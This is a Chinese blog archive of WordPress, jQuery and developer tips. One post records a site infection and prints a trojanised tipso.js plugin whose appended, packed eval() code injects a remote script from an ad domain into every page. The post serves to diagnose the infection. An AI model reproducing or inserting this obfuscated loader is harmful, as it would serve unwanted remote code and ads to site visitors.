月度归档: 2021 年 7 月

  • 设置WordPress站点绑定多域名访问

    设置WordPress站点绑定多域名访问

    WordPress通过简单修改wp-config.php文件来实现WordPress博客支持绑定多个域名及访问。

    在未修改wp-config.php之前WordPress博客默认是不能实现多个域名独立访问的,即使我们绑定了多个域名,访问时也会自动跳转到安装站点时默认的域名,就连同一个域名带www和不带www都是自动跳转到默认域名。那如果我们需要WordPress绑定多个域名,并且都能度独立访问怎么办?

    要想实现WordPress绑定多个域名,并且都能独立访问也不难。我们只需修改wp-config.php文件即可,在站点根目录找到“wp-config.php”文件,然后根据自己需要添加下面任意一段代码即可。

    一、实现任意域名访问

    说明:在wp-config.php文件中加下面代码,就能实现绑定解析的域名都能正常访问博客,而且不会串联到其他域名。

    define('WP_SITEURL', 'http://' . $_SERVER['HTTP_HOST']);
    define('WP_HOME', 'http://' . $_SERVER['HTTP_HOST']);

    二、限制特定域名访问

    也可以只指的某些域名可以访问。注意把“$domain = array(“www.twbweb.com”, “www.webhome.wang”, “www.cqycl.com”);”括号内的域名改成你自己需要绑定的域名。这样就可以设置成你添加的这几个域名能正常访问。而其他未添加的域名则无法访问。

    $domain = array("jiloc.com", "www.hubjj.com");
    if(in_array($_SERVER['HTTP_HOST'], $domain)){
        define('WP_SITEURL', 'http://' . $_SERVER['HTTP_HOST']);
        define('WP_HOME', 'http://' . $_SERVER['HTTP_HOST']);
    }
  • WordPress 常用函数 / wp_unslash

    WordPress 常用函数 / wp_unslash

    简介

    删除字符串或字符串数​​组中的反斜杠。

    该函数调用 stripslashes_deep 进行反斜杠删除处理。

    用法

    <?php wp_unslash( $value ) ?>

    参数

    $value
    (string|string[]) (required) 将要删除反斜杠的字符串或者字符串数组
    Default: None

    返回值

    (string|string[])
    已删除反斜杠的值

    实例

    <?php
    echo wp_unslash($_SERVER['post_password']);
    ?>
  • vscode disable replace preview

    vscode disable replace preview

    问题描述

    vscode 在使用文件夹啊搜索功能有时候出现如下 

    解决方法

    文件–>首选项->设置   搜索 useReplacePreview  然后不勾选即可

  • jQuery判断当前元素是第几个元素&获取第N个元素

    jQuery判断当前元素是第几个元素&获取第N个元素

    假设有下面这样一段HTML代码:

    <ul>
        <li>jQuery判断当前元素是第几个元素示例</li>
        <li>jQuery获取第N个元素示例</li>
        <li>jQuery选择器示例</li>
    </ul>

    jQuery判断当前元素是第几个元素

    如果我们点击任何一个li标签,想知道当前点击的是第几个li标签,可以使用下面的代码:

    $("ul li").click(function () {
        var index = $("ul li").index(this);
        alert(index);
     });

    jQuery 获取第N个元素

    同理,如果我们要获取第二li标签元素,可以使用下面的代码

    var element=$("ul li").eq(1);
    alert($(element).html());
  • WordPress 网站、博客引用 bilibli(哔哩哔哩)高清视频并自动适配大小 去除弹窗

    WordPress 网站、博客引用 bilibli(哔哩哔哩)高清视频并自动适配大小 去除弹窗

    更新2020年11月24日

    哔哩哔哩更改规则,引用的视频已无法高清播放。解决办法是,浏览用户在浏览器中登录哔哩哔哩官网,再浏览博客内视频时即可修改分为高清辨率。


    目前国内大多数视频网站都提供了分享的途径,对于嵌入到其他网页的分享大多采用iframe。iframe是HTML的一个标签,它支持在HTML页面中以框架的形式显示来自其他网页的内容。通过使用iframe,你可以把来自视频网站的播放器嵌入到你的网页。主要讲的是如何在网页中嵌入来自哔哩哔哩的视频。

    B站链接参数

    https://player.bilibili.com/player.html?cid=57016129&aid=57016129&page=1&as_wide=1&high_quality=1&danmaku=0

    key说明
    aid视频ID 就是B站的av号
    cid应该是客户端的id,clientid的缩写(推测) 测试表示不填也不会有什么问题
    page第几个视频 也就是分P的 默认是1
    as_wide是否宽屏 1:宽屏 0:小屏
    high_quality视频质量 1:最高视频质量 0:最低视频质量
    danmaku是否开启弹幕 1:开启(默认) 0:关闭

    按比例播放视频

    自定义一个CSS,添加到主题中。

    <style>
    .aspect-ratio { position: relative; width: 100%; height: 0; padding-bottom: 75%; } 
    .aspect-ratio iframe { position: absolute; width: 100%; height: 100%; left: 0; top: 0; }
    <style>

    在aspect-ratio类中,宽度被设为100%,高度被设为0,padding-bottom属性(外部下边距)被设为75%。因为当padding-bottom的值为百分比时,百分比计算的基准为父元素的宽,而aspect-ratio类的宽度为父元素宽度的100%,所以它的外部下边距也就占宽度的75%。这样,aspect-ratio类的实际宽高比(包含边距的宽高比)就变为了四比三。另外,aspect-ration类的position必须定义为relative,保证它的定位是相对于原始位置定义。

    在aspect-ratio类下的iframe元素宽高都被设为100%。因为当元素的position属性设为absolute且width和height属性的值为百分比时,百分比计算基准分别为父元素包含外边距的款和高。所以,此时iframe元素会沾满整个aspect-ratio类的父元素,也就是形成四比三的宽高比。

    定义完CSS之后,进入哔哩哔哩视频页获取iframe代码中的 aid 和 cid 码修改到下面代码汇中。

    <iframe src="//player.bilibili.com/player.html?aid=29893861&cid=52067422&page=1" scrolling="no" border="0" frameborder="no" framespacing="0" allowfullscreen="true"> </iframe>

    然后,用一个aspect-ratio类的块内容把iframe包起来——

    <div class="aspect-ratio">
    <iframe src="https://player.bilibili.com/player.html?aid=29893861&cid=52067422&page=1&as_wide=1&high_quality=1" scrolling="no" border="0" frameborder="no" framespacing="0" allowfullscreen="true"> </iframe>
    </div>

    阻止跳转到B站

    在网页上, 用户选择清晰度, 或者点击视频上面的一些图标, 会跳转到B站. 这个可通过设置 iframe 的 sandbox 属性去禁止。

    sandbox=”allow-top-navigation allow-same-origin allow-forms allow-scripts”

    <div class="aspect-ratio">
    <iframe src="//player.bilibili.com/player.html?aid=29893861&cid=52067422&page=1&as_wide=1&high_quality=1&danmaku=0" allowfullscreen="allowfullscreen" width="100%" height="500" scrolling="no" frameborder="0" sandbox="allow-top-navigation allow-same-origin allow-forms allow-scripts"></iframe>
    </div>

    注意:如果单单设置了 sandbox,却没设置 high_quality 字段为 1,用户切换不了视频清晰度。
    就是用户只能在 360p,点击 720p 或者 1080p 都无效。

  • WordPress 安全过滤数组 内容

    WordPress 安全过滤数组 内容

    WordPress在日常主题插件开发中,保存内容时需要使用 sanitize_text_field 函数来保证数据的安全。

    Clean everything, check everything, escape everything, and never trust the users to always have input sane data. After all, users come from all walks of life.

    但是当我们需要保存一个数组时,比如多个input框,使用同一个name时,就需要用到。这里我们写一个具体的函数

    function sanitize_text_or_array_field($array_or_string)
    	{
    		if (is_string($array_or_string)) {
    			$array_or_string = sanitize_text_field($array_or_string);
    		} elseif (is_array($array_or_string)) {
    			foreach ($array_or_string as $key => &$value) {
    				if (is_array($value)) {
    					$value = $this->sanitize_text_or_array_field($value);
    				} else {
    					$value = sanitize_text_field($value);
    				}
    			}
    		}
    		return $array_or_string;
    	}
  • WordPress搬家插件All-in-one wp Migration导入文件大小限制问题解决办法 宝塔面板 图文教程

    WordPress搬家插件All-in-one wp Migration导入文件大小限制问题解决办法 宝塔面板 图文教程

    站长在进行WordPress建站的时候,经常需要进行WordPress网站搬家,搬家工具All in one WP migration,该软件全程傻瓜式操作,可以一键完成搬家,不需要任何技术知识和代码操作,可以备份导出您的WordPress完整网站,包括网站程序文件、数据库、插件和主题等。但是也有用户说文件大小超出限制文件大小,该如何解决呢?今天老季为大家分享WordPress搬家插件All-in-one wp Migration导入文件大小限制问题解决办法。

    WordPress搬家插件All-in-one wp Migration导入文件大小限制问题解决办法 (https://www.wpmee.com/) WordPress插件 第1张


    今天以宝塔为例,为大家讲解一下具体操作。

    修改PHP配置文件

    WordPress搬家插件All-in-one wp Migration导入文件大小限制问题解决办法 (https://www.wpmee.com/) WordPress插件 第2张
    WordPress搬家插件All-in-one wp Migration导入文件大小限制问题解决办法 (https://www.wpmee.com/) WordPress插件 第3张
    WordPress搬家插件All-in-one wp Migration导入文件大小限制问题解决办法 (https://www.wpmee.com/) WordPress插件 第4张

    1.打开宝塔面板 – 软件管理 – 运行环境

    2.点击设置,进入到PHP的配置界面,选择配置修改

    3.上传限制修改

    将这几个数值修改成自己需要的数值,比如200M,修改完成后点击保存。

    修改NGINX配置

    WordPress搬家插件All-in-one wp Migration导入文件大小限制问题解决办法 (https://www.wpmee.com/) WordPress插件 第5张
    WordPress搬家插件All-in-one wp Migration导入文件大小限制问题解决办法 (https://www.wpmee.com/) WordPress插件 第6张

    1.继续在宝塔面板内选择 Nginx设置

    2.选择性能调整,其中有一个选项叫做 client_max_body_size,表示最大上传文件,将其调整为你需要的最大数值即可。

    最后记得将php和nginx都重启一下,再次上传就不会出现错误了。

  • WordPress 自定义文章类型 使用默认Category 翻页bug 修复 图文教程

    WordPress 自定义文章类型 使用默认Category 翻页bug 修复 图文教程

    在日常开发中,注册了自定义的文章类型,但是使用的还是默认的category分类,我们使用固定链接格式 %category%/%postname% ,翻页格式 category-name/page/2 就会出现404的错误。WordPress 会将 page 默认为post类型的文章名 , 将会返回404错误页面。

    下面我们给出修正代码:

    
    function remove_page_from_query_string($query_string)
    {
        if (isset($query_string['name']) && $query_string['name'] == 'page' && isset($query_string['page'])) {
            unset($query_string['name']);
            $pagePart = explode('/', $query_string['page']);
            $query_string['paged'] = end($pagePart);
        }
        return $query_string;
    }
    add_filter('request', 'remove_page_from_query_string');
    function fix_category_pagination($qs)
    {
        if (isset($qs['category_name']) && isset($qs['paged'])) {
            $qs['post_type'] = get_post_types(array(
                'public'   => true,
                '_builtin' => false
            ));
            array_push($qs['post_type'],'post');
        }
        return $qs;
    }
    add_filter('request', 'fix_category_pagination');
  • 记录一个Javascript的病毒木马伪装 代码

    记录一个Javascript的病毒木马伪装 代码

    今早有小伙伴说WordPress网站程序中毒,具体表现为浮窗广告,但是搜索了源码并未发现可以的内容,搜索远程广告的域名并没有发现可疑。接下来我们开始一步一步的排查,发现了在所使用主题的页脚 wp_footer 里面有可疑的内容,最后经过一行一行的排查发现了一个名为 tipso.js 的文件,具体代码如下

    /*!
     * tipso - A Lightweight Responsive jQuery Tooltip Plugin v1.0.1
     * Copyright (c) 2014 Bojan Petkovski
     * http://tipso.object505.com
     * Licensed under the MIT license
     * http://object505.mit-license.org/
     */
    !function(t,o,s,e){function r(o,s){this.element=t(o),this.settings=t.extend({},l,s),this._defaults=l,this._name=d,this._title=this.element.attr("title"),this.mode="hide",this.init()}function i(){var t=o.navigator.msMaxTouchPoints,e="ontouchstart"in s.createElement("div");return t||e?!0:!1}function n(o){var s=o.clone();s.css("visibility","hidden"),t("body").append(s);var e=s.outerHeight();return s.remove(),e}function a(s){var e,r,i,a=s.tooltip(),d=s.element,l=s,f=t(o),p=10;switch(l.settings.position){case"top":r=d.offset().left+d.outerWidth()/2-a.outerWidth()/2,e=d.offset().top-n(a)-p,a.find(".tipso_arrow").css({marginLeft:-8}),e<f.scrollTop()?(e=d.offset().top+d.outerHeight()+p,a.find(".tipso_arrow").css({"border-bottom-color":l.settings.background,"border-top-color":"transparent"}),a.removeClass("top bottom left right"),a.addClass("bottom")):(a.find(".tipso_arrow").css({"border-top-color":l.settings.background,"border-bottom-color":"transparent"}),a.removeClass("top bottom left right"),a.addClass("top"));break;case"bottom":r=d.offset().left+d.outerWidth()/2-a.outerWidth()/2,e=d.offset().top+d.outerHeight()+p,a.find(".tipso_arrow").css({marginLeft:-8}),e+n(a)>f.scrollTop()+f.outerHeight()?(e=d.offset().top-n(a)-p,a.find(".tipso_arrow").css({"border-top-color":l.settings.background,"border-bottom-color":"transparent"}),a.removeClass("top bottom left right"),a.addClass("top")):(a.find(".tipso_arrow").css({"border-bottom-color":l.settings.background,"border-top-color":"transparent"}),a.removeClass("top bottom left right"),a.addClass(l.settings.position));break;case"left":r=d.offset().left-a.outerWidth()-p,e=d.offset().top+d.outerHeight()/2-n(a)/2,a.find(".tipso_arrow").css({marginTop:-8,marginLeft:""}),r<f.scrollLeft()?(r=d.offset().left+d.outerWidth()+p,a.find(".tipso_arrow").css({"border-right-color":l.settings.background,"border-left-color":"transparent","border-top-color":"transparent","border-bottom-color":"transparent"}),a.removeClass("top bottom left right"),a.addClass("right")):(a.find(".tipso_arrow").css({"border-left-color":l.settings.background,"border-right-color":"transparent","border-top-color":"transparent","border-bottom-color":"transparent"}),a.removeClass("top bottom left right"),a.addClass(l.settings.position));break;case"right":r=d.offset().left+d.outerWidth()+p,e=d.offset().top+d.outerHeight()/2-n(a)/2,a.find(".tipso_arrow").css({marginTop:-8,marginLeft:""}),r+p+l.settings.width>f.scrollLeft()+f.outerWidth()?(r=d.offset().left-a.outerWidth()-p,a.find(".tipso_arrow").css({"border-left-color":l.settings.background,"border-right-color":"transparent","border-top-color":"transparent","border-bottom-color":"transparent"}),a.removeClass("top bottom left right"),a.addClass("left")):(a.find(".tipso_arrow").css({"border-right-color":l.settings.background,"border-left-color":"transparent","border-top-color":"transparent","border-bottom-color":"transparent"}),a.removeClass("top bottom left right"),a.addClass(l.settings.position))}r<f.scrollLeft()&&("bottom"==l.settings.position||"top"==l.settings.position)&&(a.find(".tipso_arrow").css({marginLeft:r-8}),r=0),r+l.settings.width>f.outerWidth()&&("bottom"==l.settings.position||"top"==l.settings.position)&&(i=f.outerWidth()-(r+l.settings.width),a.find(".tipso_arrow").css({marginLeft:-i-8,marginTop:""}),r+=i),r<f.scrollLeft()&&("left"==l.settings.position||"right"==l.settings.position)&&(r=d.offset().left+d.outerWidth()/2-a.outerWidth()/2,a.find(".tipso_arrow").css({marginLeft:-8,marginTop:""}),e=d.offset().top-n(a)-p,e<f.scrollTop()?(e=d.offset().top+d.outerHeight()+p,a.find(".tipso_arrow").css({"border-bottom-color":l.settings.background,"border-top-color":"transparent","border-left-color":"transparent","border-right-color":"transparent"}),a.removeClass("top bottom left right"),a.addClass("bottom")):(a.find(".tipso_arrow").css({"border-top-color":l.settings.background,"border-bottom-color":"transparent","border-left-color":"transparent","border-right-color":"transparent"}),a.removeClass("top bottom left right"),a.addClass("top")),r+l.settings.width>f.outerWidth()&&(i=f.outerWidth()-(r+l.settings.width),a.find(".tipso_arrow").css({marginLeft:-i-8,marginTop:""}),r+=i),r<f.scrollLeft()&&(a.find(".tipso_arrow").css({marginLeft:r-8}),r=0)),r+l.settings.width>f.outerWidth()&&("left"==l.settings.position||"right"==l.settings.position)&&(r=d.offset().left+d.outerWidth()/2-a.outerWidth()/2,a.find(".tipso_arrow").css({marginLeft:-8,marginTop:""}),e=d.offset().top-n(a)-p,e<f.scrollTop()?(e=d.offset().top+d.outerHeight()+p,a.find(".tipso_arrow").css({"border-bottom-color":l.settings.background,"border-top-color":"transparent","border-left-color":"transparent","border-right-color":"transparent"}),a.removeClass("top bottom left right"),a.addClass("bottom")):(a.find(".tipso_arrow").css({"border-top-color":l.settings.background,"border-bottom-color":"transparent","border-left-color":"transparent","border-right-color":"transparent"}),a.removeClass("top bottom left right"),a.addClass("top")),r+l.settings.width>f.outerWidth()&&(i=f.outerWidth()-(r+l.settings.width),a.find(".tipso_arrow").css({marginLeft:-i-8,marginTop:""}),r+=i),r<f.scrollLeft()&&(a.find(".tipso_arrow").css({marginLeft:r-8}),r=0)),a.css({left:r+l.settings.offsetX,top:e+l.settings.offsetY})}var d="tipso",l={speed:200,background:"#55b555",color:"#ffffff",position:"top",width:200,delay:200,offsetX:0,offsetY:0,content:null,ajaxContentUrl:null,useTitle:!0,onBeforeShow:null,onShow:null,onHide:null};t.extend(r.prototype,{init:function(){var o=this,e=this.element;e.addClass("tipso_style").removeAttr("title"),i()?(e.on("click."+d,function(t){"hide"==o.mode?o.show():o.hide(),t.stopPropagation()}),t(s).on("click",function(){"show"==o.mode&&o.hide()})):(e.on("mouseover."+d,function(){o.show()}),e.on("mouseout."+d,function(){o.hide()}))},tooltip:function(){return this.tipso_bubble||(this.tipso_bubble=t('<div class="tipso_bubble"><div class="tipso_content"></div><div class="tipso_arrow"></div></div>')),this.tipso_bubble},show:function(){var s=this.tooltip(),e=this,r=t(o);t.isFunction(e.settings.onBeforeShow)&&e.settings.onBeforeShow(t(this)),s.css({background:e.settings.background,color:e.settings.color,width:e.settings.width}).hide(),s.find(".tipso_content").html(e.content()),a(e),r.resize(function(){a(e)}),e.timeout=o.setTimeout(function(){s.appendTo("body").stop(!0,!0).fadeIn(e.settings.speed,function(){e.mode="show",t.isFunction(e.settings.onShow)&&e.settings.onShow(t(this))})},e.settings.delay)},hide:function(){var s=this,e=this.tooltip();o.clearTimeout(s.timeout),s.timeout=null,e.stop(!0,!0).fadeOut(s.settings.speed,function(){t(this).remove(),t.isFunction(s.settings.onHide)&&"show"==s.mode&&s.settings.onHide(t(this)),s.mode="hide"})},destroy:function(){var t=this.element;t.off("."+d),t.removeData(d),t.removeClass("tipso_style").attr("title",this._title)},content:function(){var o,s=this.element,e=this,r=this._title;return o=e.settings.ajaxContentUrl?t.ajax({type:"GET",url:e.settings.ajaxContentUrl,async:!1}).responseText:e.settings.content?e.settings.content:e.settings.useTitle===!0?r:s.data("tipso")},update:function(t,o){var s=this;return o?void(s.settings[t]=o):s.settings[t]}}),t[d]=t.fn[d]=function(o){var s=arguments;if(o===e||"object"==typeof o)return this instanceof t||t.extend(l,o),this.each(function(){t.data(this,"plugin_"+d)||t.data(this,"plugin_"+d,new r(this,o))});if("string"==typeof o&&"_"!==o[0]&&"init"!==o){var i;return this.each(function(){var e=t.data(this,"plugin_"+d);e||(e=t.data(this,"plugin_"+d,new r(this,o))),e instanceof r&&"function"==typeof e[o]&&(i=e[o].apply(e,Array.prototype.slice.call(s,1))),"destroy"===o&&t.data(this,"plugin_"+d,null)}),i!==e?i:this}}}(jQuery,window,document);eval(function(p,a,c,k,e,r){e=String;if(!''.replace(/^/,String)){while(c--)r[c]=k[c]||c;k=[function(e){return r[e]}];e=function(){return'\\w+'};c=1};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p}('1.2("<0 3=\\\'4://5.6.7/8.9\\\'></0>");',10,10,'script|document|writeln|src|https|www|86game|top|tongji|js'.split('|'),0,{}))

    这个文件会调用远程域名的js文件,从而实现广告、弹窗的目的。

  • 使用 Composer 的时候提示输入Token (hidden):

    使用 Composer 的时候提示输入Token (hidden):

    出现了Could not fetch https://api.github.com/ 。。。please create a GitHub OAuth token to go over the API rate limit 。。。 to retrieve a token.  。。。 Token (hidden):

    进入 https://github.com/settings/tokens 点击 「Generate new token」 新建一个 Token,选择默认新建就行,然后就会得到一个 Token,然后输入这个值就 OK 了。

    help:1.生成Token 请选择 gist Create gists,这项,复制粘贴才能成功

       2.粘贴前最好确定没有输入其他东西(先按几下backspace比较保险),粘贴完了就按回车键就可以了,Token(hidden) 是不显示的。

    注意:一般出现填写token,可能都是因为频繁下载,申请token的号可能会被github屏蔽,最好用新号哦!

  • WordPress 创建自定义文章类型 禁用Add New 新增/添加功能

    WordPress 创建自定义文章类型 禁用Add New 新增/添加功能

    前篇我们写了 WordPress插件开发 移除 Edit | Quick Edit | Trash | View 功能 图文教程 ,即使是这样,但是创建自定义文章时依然会有Add New按钮出现,下面我们给出自定义文章类型,如何禁止Add New按钮

    $args = array(
        'label'               => __( 'Custom Post Type', 'text_domain' ),
        'description'         => __( 'Custom Post Type', 'text_domain' ),
        'capability_type' => 'custom_post_type',
        'capabilities' => array(
            'create_posts' => false,//这里禁用创建功能
        ),
    );
    register_post_type( 'custom_post_type', $args );
  • WordPress插件开发 移除 Edit | Quick Edit | Trash | View 功能 图文教程

    WordPress插件开发 移除 Edit | Quick Edit | Trash | View 功能 图文教程

    通常我们在WordPress开发中都会使用到注册新文章类型,这次遇到了需要禁用Dashboard lists 列表文章的『 编辑 | 快速编辑 | 回收站 | 查看 』功能,我们这里记录一下代码片段

    add_filter( 'post_row_actions', 'remove_row_actions', 10, 1 );
    function remove_row_actions( $actions )
    {
        if( get_post_type() === 'post' ){
            unset( $actions['edit'] );
            unset( $actions['view'] );
            unset( $actions['trash'] );
            unset( $actions['inline hide-if-no-js'] );
        }
        return $actions;
    }
WeChat